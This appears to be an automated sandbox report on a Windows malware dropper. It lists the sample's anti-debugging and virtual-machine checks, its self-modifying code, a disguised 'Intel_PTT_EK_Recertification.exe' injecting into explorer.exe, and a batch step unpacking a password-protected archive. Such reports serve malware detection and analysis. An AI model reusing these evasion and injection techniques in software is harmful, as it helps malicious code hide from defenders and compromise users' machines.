Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA092B second address: 4BA0965 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F3458756CB8h 0x00000012 add si, 83C8h 0x00000017 jmp 00007F3458756CABh 0x0000001c popfd 0x0000001d mov di, ax 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA0965 second address: 4BA0979 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3458CA5150h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA0979 second address: 4BA0991 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458756CABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA0991 second address: 4BA0995 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA0995 second address: 4BA0999 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA0999 second address: 4BA099F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\random.exe_Y.exe	Special instruction interceptor: First address: 10EB59 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\random.exe_Y.exe	Special instruction interceptor: First address: 2AC4CF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\random.exe_Y.exe	Special instruction interceptor: First address: 2AC8E7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\random.exe_Y.exe	Special instruction interceptor: First address: 2D5DFB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\random.exe_Y.exe	Special instruction interceptor: First address: 2B5B46 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\random.exe_Y.exe	Special instruction interceptor: First address: 33BAA3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BEEB59 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D8C4CF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D8C8E7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: DB5DFB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D95B46 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E1BAA3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe	Special instruction interceptor: First address: 692984 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe	Special instruction interceptor: First address: 69067E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Special instruction interceptor: First address: 6AD9BC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Special instruction interceptor: First address: 6AD909 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Special instruction interceptor: First address: 84EF83 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Special instruction interceptor: First address: 84F2A7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Special instruction interceptor: First address: 6AB6DA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Special instruction interceptor: First address: 86248C instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\random.exe_Y.exe

Code function: 0_2_04BF0DA1 rdtsc

0_2_04BF0DA1

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1198	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1211	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1190	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1182	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4242
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4946
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5944
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 937
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1127
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 498

Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.dll

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

API coverage: 5.1 %

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2976	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4600	Thread sleep count: 1198 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4600	Thread sleep time: -2397198s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 988	Thread sleep count: 312 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 988	Thread sleep time: -9360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5920	Thread sleep count: 1211 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5920	Thread sleep time: -2423211s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 280	Thread sleep count: 1190 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 280	Thread sleep time: -2381190s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6432	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2444	Thread sleep count: 1182 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2444	Thread sleep time: -2365182s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6284	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6076	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6620	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4576	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe TID: 3984	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe TID: 3192	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe TID: 3360	Thread sleep time: -38019s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe TID: 5692	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe TID: 964	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe TID: 3172	Thread sleep time: -180000s >= -30000s

Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\random.exe_Y.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Code function: 8_2_0040367D GetFileAttributesW,SetLastError,FindFirstFileW,FindClose,CompareFileTime,	8_2_0040367D
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Code function: 8_2_004031DC FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,	8_2_004031DC
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_00797978 FindFirstFileW,FindFirstFileW,free,	12_2_00797978

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 12_2_0079881C free,free,GetLogicalDriveStringsW,GetLogicalDriveStringsW,free,free,free,

12_2_0079881C

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 12_2_0079B5E0 GetSystemInfo,

12_2_0079B5E0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\extracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior

Source: random.exe_Y.exe, 00000000.00000002.2183224746.0000000000290000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2211935873.0000000000D70000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.2213010680.0000000000D70000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmp, d7691cd336.exe, 00000024.00000002.2843563902.0000000000814000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: random.exe_Y.exe, 00000000.00000003.2155732497.0000000000DB0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}'Qt
Source: svchost.exe, 00000025.00000003.2821727826.00000000050E0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: DisableGuestVmNetworkConnectivity
Source: d7691cd336.exe, 00000024.00000002.2844879469.0000000002767000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMCIDevSymbol
Source: skotes.exe, 00000006.00000002.3383542178.0000000000598000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3383542178.00000000005E9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000020.00000002.2790543601.0000000000759000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000020.00000002.2790543601.0000000000759000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP\v%SystemRoot%\system32\mswsock.dll
Source: svchost.exe, 00000025.00000003.2821727826.00000000050E0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: EnableGuestVmNetworkConnectivity
Source: random.exe_Y.exe, 00000000.00000002.2183224746.0000000000290000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2211935873.0000000000D70000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.2213010680.0000000000D70000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmp, d7691cd336.exe, 00000024.00000002.2843563902.0000000000814000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: explorer.exe, 00000020.00000002.2790543601.0000000000759000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWl/
Source: PING.EXE, 0000001E.00000002.2809128552.000001F26410D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlldd
Source: PING.EXE, 00000023.00000002.2820733194.000002CB3DF49000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllkk

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_2-10450
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_3-9976
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_3-9983

Source: C:\Users\user\Desktop\random.exe_Y.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\random.exe_Y.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\random.exe_Y.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\random.exe_Y.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\explorer.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Process queried: DebugPort
Source: C:\Windows\explorer.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\random.exe_Y.exe

Code function: 0_2_04BF0DA1 rdtsc

0_2_04BF0DA1

Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe

Code function: 8_2_00402665 LoadLibraryA,GetProcAddress,GetNativeSystemInfo,

8_2_00402665

Source: C:\Users\user\Desktop\random.exe_Y.exe	Code function: 0_2_000D652B mov eax, dword ptr fs:[00000030h]	0_2_000D652B
Source: C:\Users\user\Desktop\random.exe_Y.exe	Code function: 0_2_000DA302 mov eax, dword ptr fs:[00000030h]	0_2_000DA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BBA302 mov eax, dword ptr fs:[00000030h]	2_2_00BBA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BB652B mov eax, dword ptr fs:[00000030h]	2_2_00BB652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00BBA302 mov eax, dword ptr fs:[00000030h]	3_2_00BBA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00BB652B mov eax, dword ptr fs:[00000030h]	3_2_00BB652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BBA302 mov eax, dword ptr fs:[00000030h]	6_2_00BBA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BB652B mov eax, dword ptr fs:[00000030h]	6_2_00BB652B

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Memory written: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Memory written: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe base: 400000 value starts with: 4D5A

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 2548 base: 140000000 value: 4D
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 2548 base: 140001000 value: 40
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 2548 base: 1402DD000 value: 58
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 2548 base: 14040B000 value: A4
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 2548 base: 140739000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 2548 base: 14075E000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 2548 base: 14075F000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 2548 base: 140762000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 2548 base: 140764000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 2548 base: 140765000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 2548 base: 572010 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 3912 base: 140000000 value: 4D
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 3912 base: 140001000 value: 40
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 3912 base: 1402DD000 value: 58
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 3912 base: 14040B000 value: A4
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 3912 base: 140739000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 3912 base: 14075E000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 3912 base: 14075F000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 3912 base: 140762000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 3912 base: 140764000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 3912 base: 140765000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 3912 base: BDA010 value: 00

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Thread register set: target process: 2548
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Thread register set: target process: 3912

Source: C:\Users\user\Desktop\random.exe_Y.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe "C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe "C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe "C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe "C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe "C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted	Jump to behavior
